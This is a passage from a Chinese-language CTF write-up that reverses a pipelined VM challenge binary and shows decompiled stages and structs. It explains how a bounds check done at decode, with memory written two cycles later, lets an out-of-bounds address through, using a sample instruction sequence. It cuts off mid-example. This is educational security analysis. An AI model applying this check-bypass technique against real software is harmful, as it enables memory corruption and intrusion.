op1_addr_or_reg;</span><br><span class="line">  __int64 op2_addr_or_reg;</span><br><span class="line">  <span class="type">int</span> result_type;</span><br><span class="line">  <span class="type">int</span> mem_num;</span><br><span class="line">  __int64 dst_op_value;</span><br><span class="line">  __int64 alu_result;</span><br><span class="line">  __int64 now_stack_ptr;</span><br><span class="line">  __int64 stack_ptr;</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 7 */</span></span><br><span class="line"><span class="keyword">struct</span> <span class="title class_">__attribute__</span>((<span class="built_in">aligned</span>(<span class="number">8</span>))) vm_mem</span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">int</span> mem_valid_result_type;</span><br><span class="line">  <span class="type">int</span> mem_idx;</span><br><span class="line">  __int64 dst_op_value;</span><br><span class="line">  __int64 src_alu_result;</span><br><span class="line">  __int64 now_stack_ptr;</span><br><span class="line">  __int64 next_vm;</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="comment">/* 8 */</span></span><br><span class="line"><span class="keyword">struct</span> <span class="title class_">__attribute__</span>((<span class="built_in">aligned</span>(<span class="number">8</span>))) vm_id</span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">char</span> *is_valid;</span><br><span class="line">  __int64 each_opcode;</span><br><span class="line">  __int64 ops1_total_type;</span><br><span class="line">  __int64 op1_addr_or_reg;</span><br><span class="line">  __int64 op2_addr_or_reg;</span><br><span class="line">&#125;;</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>题目主要逻辑很简单，会用一个<code>mmap</code>的空间来作为代码段，数据段和栈帧：</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="type">void</span> __fastcall <span class="title">vm::vm</span><span class="params">(vm *<span class="keyword">this</span>)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  vm_id *id; <span class="comment">// rax</span></span><br><span class="line">  vm_alu *alu; <span class="comment">// rax</span></span><br><span class="line">  vm_mem *mem; <span class="comment">// rax</span></span><br><span class="line">  __int64 i; <span class="comment">// rdx</span></span><br><span class="line"></span><br><span class="line">  <span class="keyword">this</span>-&gt;code_base = (<span class="type">char</span> *)<span class="built_in">mmap</span>(<span class="number">0LL</span>, <span class="number">0x6000</span>uLL, <span class="number">3</span>, <span class="number">34</span>, <span class="number">-1</span>, <span class="number">0LL</span>);</span><br><span class="line">  <span class="keyword">this</span>-&gt;data_base = (__int64)(<span class="keyword">this</span>-&gt;code_base + <span class="number">0x2000</span>);</span><br><span class="line">  <span class="keyword">this</span>-&gt;stack_base = <span class="keyword">this</span>-&gt;data_base + <span class="number">0x3000</span>;</span><br><span class="line">  <span class="keyword">this</span>-&gt;data_size = <span class="number">0x3000</span>LL;</span><br><span class="line">  <span class="keyword">this</span>-&gt;code_size = <span class="number">0x2000</span>LL;</span><br><span class="line">  <span class="keyword">this</span>-&gt;stack_size_ = <span class="number">0x1000</span>LL;</span><br><span class="line"></span><br><span class="line">  <span class="comment">// skip code...</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>代码段大小为0x2000，数据段为0x3000，栈帧为0x1000。</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line">+----------------------------+</span><br><span class="line">|                            |</span><br><span class="line">|    <span class="number">0x2000</span> code             |</span><br><span class="line">|                            |</span><br><span class="line">|                            |</span><br><span class="line">|                            |</span><br><span class="line">|                            |</span><br><span class="line">+----------------------------+</span><br><span class="line">|                            |</span><br><span class="line">|                            |</span><br><span class="line">|    <span class="number">0x3000</span> data             |</span><br><span class="line">|                            |</span><br><span class="line">|                            |</span><br><span class="line">|                            |</span><br><span class="line">|                            |</span><br><span class="line">|                            |</span><br><span class="line">|                            |</span><br><span class="line">|                            |</span><br><span class="line">+----------------------------+</span><br><span class="line">|                            |</span><br><span class="line">|    <span class="number">0x1000</span> stack            |</span><br><span class="line">|                            |</span><br><span class="line">|                            |</span><br><span class="line">+----------------------------+</span><br></pre></td></tr></table></figure><p>其中代码段存放我们读入的数据作为指令，并且再<code>vm::run</code>中进行解码译码</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="type">int</span> __cdecl <span class="title">main</span><span class="params">(<span class="type">int</span> argc, <span class="type">const</span> <span class="type">char</span> **argv, <span class="type">const</span> <span class="type">char</span> **envp)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  __int64 v3; <span class="comment">// rax</span></span><br><span class="line"></span><br><span class="line">  <span class="built_in">setbuf</span>(stdin, <span class="number">0LL</span>);</span><br><span class="line">  <span class="built_in">setbuf</span>(stdout, <span class="number">0LL</span>);</span><br><span class="line">  <span class="built_in">setbuf</span>(stderr, <span class="number">0LL</span>);</span><br><span class="line">  v3 = std::<span class="keyword">operator</span>&lt;&lt;&lt;std::char_traits&lt;<span class="type">char</span>&gt;&gt;(&amp;std::cout, <span class="string">&quot;plz input your vm-code&quot;</span>);</span><br><span class="line">  std::ostream::<span class="keyword">operator</span>&lt;&lt;(v3, &amp;std::endl&lt;<span class="type">char</span>,std::char_traits&lt;<span class="type">char</span>&gt;&gt;);</span><br><span class="line">  <span class="built_in">read</span>(<span class="number">0</span>, my_vm.code_base, <span class="number">0x2000</span>uLL);</span><br><span class="line">  vm::<span class="built_in">run</span>(&amp;my_vm);</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>解码逻辑如下</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">__int64 __fastcall <span class="title">vm::run</span><span class="params">(vm *vm)</span></span></span><br><span class="line"><span class="function"></span>&#123;                                               <span class="comment">// 第一次读取到id</span></span><br><span class="line">                                                <span class="comment">// 第二次alu发生运算</span></span><br><span class="line">                                                <span class="comment">// 第三次mem发生位移</span></span><br><span class="line">  __int64 v1; <span class="comment">// rax</span></span><br><span class="line">  <span class="type">int</span> v3; <span class="comment">// [rsp+1Ch] [rbp-4h]</span></span><br><span class="line"></span><br><span class="line">  <span class="keyword">while</span> ( <span class="number">1</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    vm_alu::<span class="built_in">set_input</span>(vm-&gt;alu, vm);</span><br><span class="line">    vm_mem::<span class="built_in">set_input</span>(vm-&gt;mem, vm);</span><br><span class="line">    vm-&gt;pc += (<span class="type">int</span>)vm_id::<span class="built_in">run</span>(vm-&gt;id, vm);</span><br><span class="line">    v3 = vm_alu::<span class="built_in">run</span>(vm-&gt;alu, vm);</span><br><span class="line">    vm_mem::<span class="built_in">run</span>(vm-&gt;mem, vm);</span><br><span class="line">    <span class="keyword">if</span> ( !v3 )</span><br><span class="line">      <span class="keyword">break</span>;</span><br><span class="line">    <span class="keyword">if</span> ( v3 == <span class="number">-1</span> )</span><br><span class="line">    &#123;</span><br><span class="line">      v1 = std::<span class="keyword">operator</span>&lt;&lt;&lt;std::char_traits&lt;<span class="type">char</span>&gt;&gt;(&amp;std::cout, <span class="string">&quot;SOME STHING WRONG!!&quot;</span>);</span><br><span class="line">      std::ostream::<span class="keyword">operator</span>&lt;&lt;(v1, &amp;std::endl&lt;<span class="type">char</span>,std::char_traits&lt;<span class="type">char</span>&gt;&gt;);</span><br><span class="line">      <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0LL</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>其中对应关系如下</p><ul><li><code>vm_id::run</code>:ID 译码阶段，进行指令的翻译和边界检查</li><li><code>vm_alu::run</code>:ALU 阶段，对译码的指令进行执行，计算等</li><li><code>vm_mem::run</code>:MEM 阶段，将计算阶段的结果存放在译码阶段指定的地址</li></ul><p>循环开头的两个<code>set_input</code>会如同流水线般，将<strong>上次循环中得到的数据传递给下一个阶段</strong>:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line">             +----------+                                   </span><br><span class="line">             |          |                                   </span><br><span class="line">Loop 1       |   ID 1   |                                   </span><br><span class="line">             |          |                                   </span><br><span class="line">             +-----+----+                                   </span><br><span class="line">                   |                                        </span><br><span class="line">                   +--------------+                         </span><br><span class="line">                                  |                         </span><br><span class="line">             +-----------+   +----v------+                  </span><br><span class="line">             |           |   |           |                  </span><br><span class="line">Loop 2       |   ID 2    |   |   ALU 1   |                  </span><br><span class="line">             |           |   |           |                  </span><br><span class="line">             +-----+-----+   +-----+-----+                  </span><br><span class="line">                   |               |                        </span><br><span class="line">                   |               +-----------------+      </span><br><span class="line">                   +--------------+                  |      </span><br><span class="line">                                  |                  |      </span><br><span class="line">                                  |                  |      </span><br><span class="line">             +-----------+   +----v-------+   +------v-----+</span><br><span class="line">             |           |   |            |   |            |</span><br><span class="line">Loop 3       |   ID 3    |   |   ALU 2    |   |   MEM 1    |</span><br><span class="line">             |           |   |            |   |            |</span><br><span class="line">             +-----------+   +------------+   +------------+</span><br></pre></td></tr></table></figure><p>可以得出结论：</p><blockquote><p>当前指令再循环1被ID解析的读入数据，会在循环3被MEM进行存储</p></blockquote><p>举例来说，假设对于指令<code>mov r1, r2</code>，这个程序的处理逻辑如下：</p><ul><li>第一次循环中，由<code>vm_id</code>读取指令，解析操作数</li><li>第二次循环中，在<code>vm_alu::set_input</code>中，将<code>id</code>中的数据传递给<code>alu</code>，此时调用<code>vm_alu::run</code>进行计算操作</li><li>第三次循环中，在<code>vm_mem::set_input</code>中，将<code>alu</code>中的数据传递给<code>mem</code>，此时调用<code>vm_mem::run</code>进行赋值操作</li></ul><p><strong>在这个虚拟机中，无论操作寄存器，还是内存地址，均需要使用三步操作完成。</strong></p><p>由前面的定义可知，程序的<code>id</code>中只记录操作类型，<code>alu</code>记录操作类型，计算结果和存储位置，<code>mem</code>仅记录存储位置。</p><h3 id="id-译码">ID 译码</h3><p>在译码阶段，会涉及虚拟机的一些支持的指令类型，在虚拟机中包含三个寄存器，以及栈帧，支持地址访问和十种操作：</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">opcode = &#123;</span><br><span class="line">    &quot;ADD&quot;:1,</span><br><span class="line">    &quot;SUB&quot;:2,</span><br><span class="line">    &quot;SHL&quot;:3,</span><br><span class="line">    &quot;SHR&quot;:4,</span><br><span class="line">    &quot;MOV&quot;:5,</span><br><span class="line">    &quot;AND&quot;:6,</span><br><span class="line">    &quot;OR&quot;:7,</span><br><span class="line">    &quot;XOR&quot;:8,</span><br><span class="line">    &quot;PUSH&quot;:9,</span><br><span class="line">    &quot;POP&quot;:10,</span><br><span class="line">    &quot;NOP&quot;:11,</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>指令格式如下</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">[opcode][optype][value1][value2]</span><br></pre></td></tr></table></figure><p>其中<code>optype</code>定义了两个操作数的类型。第1，2bit用于定义第一个操作数的类型，第3，4bit用于定义第二个操作数类型。类型支持如下三种</p><ul><li>NUM（1）:仅当成数据，value长度为8字节</li><li>REG（2）:作为寄存器下标（0~3）value长度为1字节</li><li>ADDR（3）:将value作为寄存器下标（0~3），取寄存器的值当成地址，</li></ul><p>其中，当我们的使用<code>id</code>解析类似<code>mov r1, [r2]</code>的模拟指令的时候，会检查<code>r2</code>是否超出了<code>database</code>的范围</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">else</span> <span class="keyword">if</span> ( ope1_type == OP_ADDR )            <span class="comment">// 均为1，作为地址解析</span></span><br><span class="line">&#123;</span><br><span class="line">    opcode_len = <span class="number">3</span>;</span><br><span class="line">    v6 = buf_ptr_next2;</span><br><span class="line">    buf_ptr_next2 = (__int64 *)((<span class="type">char</span> *)buf_ptr_next2 + <span class="number">1</span>);</span><br><span class="line">    v13 = *(_BYTE *)v6;</span><br><span class="line">    <span class="keyword">if</span> ( vm_id::<span class="built_in">check_addr</span>(id, (<span class="type">unsigned</span> __int64)vm-&gt;reg0[*(<span class="type">char</span> *)v6], vm) )   <span class="comment">// 检查当前寄存器中指向的值是否越界</span></span><br><span class="line">    &#123;</span><br><span class="line">    id-&gt;each_opcode = each_opcode;</span><br><span class="line">    id-&gt;op1_addr_or_reg = v13;              <span class="comment">// 此时为地址</span></span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">    &#123;</span><br><span class="line">    id-&gt;each_opcode = <span class="number">-1LL</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>如果直接使用寄存器，则同样的也会检测选择寄存器的时候是否会选择0~3以外的寄存器</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">if</span> ( ope1_type == OP_REG )                  <span class="comment">// 检查第一个ops类型</span></span><br><span class="line">&#123;</span><br><span class="line">    opcode_len = <span class="number">3</span>;</span><br><span class="line">    v5 = buf_ptr_next2;</span><br><span class="line">    buf_ptr_next2 = (__int64 *)((<span class="type">char</span> *)buf_ptr_next2 + <span class="number">1</span>);</span><br><span class="line">    v12 = *(_BYTE *)v5;</span><br><span class="line">    <span class="keyword">if</span> ( vm_id::<span class="built_in">check_regs</span>(id, *(<span class="type">char</span> *)v5, vm) )<span class="comment">// 检查是否为寄存器</span></span><br><span class="line">    &#123;</span><br><span class="line">    id-&gt;each_opcode = each_opcode;</span><br><span class="line">    id-&gt;op1_addr_or_reg = v12;              <span class="comment">// 此时为寄存器</span></span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">    &#123;</span><br><span class="line">    id-&gt;each_opcode = <span class="number">-1LL</span>;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>之后，ID对象就会记录以下数据，之后会在下一个循环中传递给ALU</p><ul><li>指令</li><li>操作数类型</li><li>操作数1</li><li>操作数2</li></ul><h3 id="alu-计算">ALU 计算</h3><p>在<code>ALU</code>进行计算的时候，会根据由<code>ID</code>传递的操作类型，取出对应的寄存器或者内存地址</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br></pre></td><td class="code"><pre><span class="line">v4 = vm_alu-&gt;ops_total_type &amp; <span class="number">3</span>;</span><br><span class="line"><span class="keyword">if</span> ( v4 == OP_REG )                         <span class="comment">// 检查第一个操作数的类型</span></span><br><span class="line">&#123;</span><br><span class="line">    vm_alu-&gt;mem_num = <span class="number">1</span>;</span><br><span class="line">    vm_alu-&gt;dst_op_value = (__int64)&amp;vm-&gt;reg0[vm_alu-&gt;op1_addr_or_reg];<span class="comment">// 寄存器的操作</span></span><br><span class="line">    vm_alu-&gt;op1_addr_or_reg = (__int64)vm-&gt;reg0[vm_alu-&gt;op1_addr_or_reg];</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">else</span></span><br><span class="line">&#123;</span><br><span class="line">    <span class="keyword">if</span> ( v4 != OP_ADDR )</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0xFFFFFFFF</span>LL;                    <span class="comment">// 第一个类型需要为地址，同时使得op1_addr_or_reg为越界的地址</span></span><br><span class="line">    <span class="keyword">if</span> ( (vm_alu-&gt;ops_total_type &amp; <span class="number">0xC</span>) == <span class="number">12</span> )</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0xFFFFFFFF</span>LL;</span><br><span class="line">    vm_alu-&gt;mem_num = <span class="number">1</span>;</span><br><span class="line">    vm_alu-&gt;dst_op_value = (__int64)&amp;vm-&gt;reg0[vm_alu-&gt;op1_addr_or_reg][vm-&gt;data_base];<span class="comment">// 否则，作为地址操作</span></span><br><span class="line">    vm_alu-&gt;op1_addr_or_reg = *(_QWORD *)&amp;vm-&gt;reg0[vm_alu-&gt;op1_addr_or_reg][vm-&gt;data_base];<span class="comment">// vm_start+op1_offset+data_base</span></span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>注意，在<code>ALU</code>中，会把我们的操作数1作为<strong>目的操作数</strong>，无论里面指定的是寄存器还是内存地址，都会取出其指针放在<code>dst_op_value</code>，之后就会进行运算操作。</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">switch</span> ( vm_alu-&gt;each_opcode_OPTYPE )</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="keyword">case</span> ADD:</span><br><span class="line">        vm_alu-&gt;alu_result = vm_alu-&gt;op2_addr_or_reg + vm_alu-&gt;op1_addr_or_reg;</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">      <span class="keyword">case</span> MIN:</span><br><span class="line">        vm_alu-&gt;alu_result = vm_alu-&gt;op1_addr_or_reg - vm_alu-&gt;op2_addr_or_reg;</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">      <span class="keyword">case</span> LMOV:</span><br><span class="line">        vm_alu-&gt;alu_result = vm_alu-&gt;op1_addr_or_reg &lt;&lt; vm_alu-&gt;op2_addr_or_reg;</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">      <span class="keyword">case</span> RMOV:</span><br><span class="line">        vm_alu-&gt;alu_result = (<span class="type">unsigned</span> __int64)vm_alu-&gt;op1_addr_or_reg &gt;&gt; vm_alu-&gt;op2_addr_or_reg;</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">      <span class="keyword">case</span> OP2:</span><br><span class="line">        vm_alu-&gt;alu_result = vm_alu-&gt;op2_addr_or_reg;</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">      <span class="keyword">case</span> AND:</span><br><span class="line">        vm_alu-&gt;alu_result = vm_alu-&gt;op2_addr_or_reg &amp; vm_alu-&gt;op1_addr_or_reg;</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">      <span class="keyword">case</span> OR:</span><br><span class="line">        vm_alu-&gt;alu_result = vm_alu-&gt;op2_addr_or_reg | vm_alu-&gt;op1_addr_or_reg;</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">      <span class="keyword">case</span> XOR:</span><br><span class="line">        vm_alu-&gt;alu_result = vm_alu-&gt;op2_addr_or_reg ^ vm_alu-&gt;op1_addr_or_reg;</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">      <span class="keyword">default</span>:</span><br><span class="line">        <span class="keyword">goto</span> EXITCALC;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">goto</span> EXITCALC;</span><br></pre></td></tr></table></figure><p>完成计算后，下列值会被保留，传递给<code>MEM</code></p><ul><li><code>alu_result</code>：计算的结果</li><li><code>dst_op_value</code>：用于存放运算结果的地址</li><li><code>mem_num</code>：发生了变化的内存地址，如果是<code>PUSH</code>或者<code>POP</code>指令，此时会需要改变内存地址的值（栈指针，栈指向的内存）</li><li><code>result_type</code>：表示当前运算是否有效（指令是否正确等等），会传递给<code>MEM</code>的<code>mem_valid_result_type</code>成员</li></ul><h3 id="mem-存放">MEM 存放</h3><p><code>MEM</code>部分比较简单，会根据来自<code>ALU</code>传递的值进行赋值处理</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">__int64 __fastcall <span class="title">vm_mem::run</span><span class="params">(vm_mem *<span class="keyword">this</span>, vm *a2)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  __int64 mem_valid; <span class="comment">// rax</span></span><br><span class="line">  <span class="type">int</span> i; <span class="comment">// [rsp+1Ch] [rbp-4h]</span></span><br><span class="line"></span><br><span class="line">  mem_valid = (<span class="type">unsigned</span> <span class="type">int</span>)<span class="keyword">this</span>-&gt;mem_valid_result_type;</span><br><span class="line">  <span class="keyword">if</span> ( (_DWORD)mem_valid )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="keyword">for</span> ( i = <span class="number">0</span>; ; ++i )</span><br><span class="line">    &#123;</span><br><span class="line">      mem_valid = (<span class="type">unsigned</span> <span class="type">int</span>)<span class="keyword">this</span>-&gt;mem_idx;</span><br><span class="line">      <span class="keyword">if</span> ( i &gt;= (<span class="type">int</span>)mem_valid )</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">      **((_QWORD **)&amp;<span class="keyword">this</span>-&gt;dst_op_value + <span class="number">2</span> * i) = *(&amp;<span class="keyword">this</span>-&gt;src_alu_result + <span class="number">2</span> * i);</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">return</span> mem_valid;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>这里再提一次，在这个虚拟机模拟过程中，虽然它也实现了寄存器，但是对寄存器的操作本质上等同对内存地址空间的操作，也是使用引用进行赋值，所以本质上等同内存操作。</p><h3 id="程序漏洞">程序漏洞</h3><p>乍一看，程序的执行非常有逻辑：</p><ul><li>ID 解析指令，并且检查访问是否越界</li><li>ALU 根据ID 解析的结果进行数据的分析计算</li><li>MEM 存储对应的数据</li></ul><p>但是这里有一个非常典型的问题，那就是：<strong>检查和使用不处在同一个上下文中</strong>。这句话怎么理解呢？对于这个题目而言，<strong>上下文</strong>就是指<strong>在同一个循环中</strong>。我们根据题目会发现，程序进行变量检查的时候<strong>发生在ID环节</strong>，而当进入<code>ALU</code>环节的时候，已经在下一个循环，而进入<code>MEM</code>环节，甚至在下两个循环了。这样会有什么问题呢？让我们假设一系列指令如下:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">0:add r1, 0xffff</span><br><span class="line">1:mov r1, 0</span><br><span class="line">2:add r2, [r1]</span><br><span class="line">3:nop</span><br><span class="line">4:nop</span><br></pre></td></tr></table></figure><p>最初的时候，0被解析</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">0:add r1, 0xffff    &lt; --- ID</span><br><span class="line">1:mov r1, 0</span><br><span class="line">2:add r2, [r1]</span><br><span class="line">3:nop</span><br><span class="line">4:nop</span><br></pre></td></tr></table></figure><p>当执行1的时候，1被解析，0被计算</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">0:add r1, 0xffff    &lt; --- ALU</span><br><span class="line">1:mov r1, 0         &lt; --- ID</span><br><span class="line">2:add r2, [r1]</span><br><span class="line">3:nop</span><br><span class="line">4:nop</span><br></pre></td></tr></table></figure><p>我们来讨论当执行2的时候，发生了什么</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">0:add r1, 0xffff    &lt; --- MEM</span><br><span class="line">1:mov r1, 0         &lt; --- ALU</span><br><span class="line">2:add r2, [r1]      &lt; --- ID</span><br><span class="line">3:nop</span><br><span class="line">4:nop</span><br></pre></td></tr></table></figure><p>正常逻辑上讲，当我们执行到2的时候，由于<code>r1=0xffff</code>，超出了database，此时理论上这条指令是没办法由ID进行解析的。然而实际上此时执行的内容是这样的</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">0:add r1, 0xffff    &lt; --- MEM</span><br><span class="line">1:mov r1, 0         &lt; --- ALU</span><br><span class="line">2:add r2, [0]       &lt; --- ID  这里发生了什么？</span><br><span class="line">3:nop</span><br><span class="line">4:nop</span><br></pre></td></tr></table></figure><p>正如我们前面提到的<strong>流水线问题</strong>，这里r1也正处在<code>MEM</code>阶段，而且根据代码逻辑，此时为<strong>ID-&gt;ALU-&gt;MEM</strong>的调用顺序，也就是说此时的r1仍未被正确赋值。<br>那么根据逻辑来说，此时的2这条指令<strong>能够通过ID的解码阶段</strong>。那么，当执行3的时候，会变成这样</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">0:add r1, 0xffff</span><br><span class="line">1:mov r1, 0         &lt; --- MEM</span><br><span class="line">2:add r2, [r1]      &lt; --- ALU</span><br><span class="line">3:nop               &lt; --- ID</span><br><span class="line">4:nop</span><br></pre></td></tr></table></figure><p>根据执行顺序，此时的<code>ALU</code>阶段中，r1已经被赋值成了<code>0xffff</code>，但是依然通过了ID的check。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span 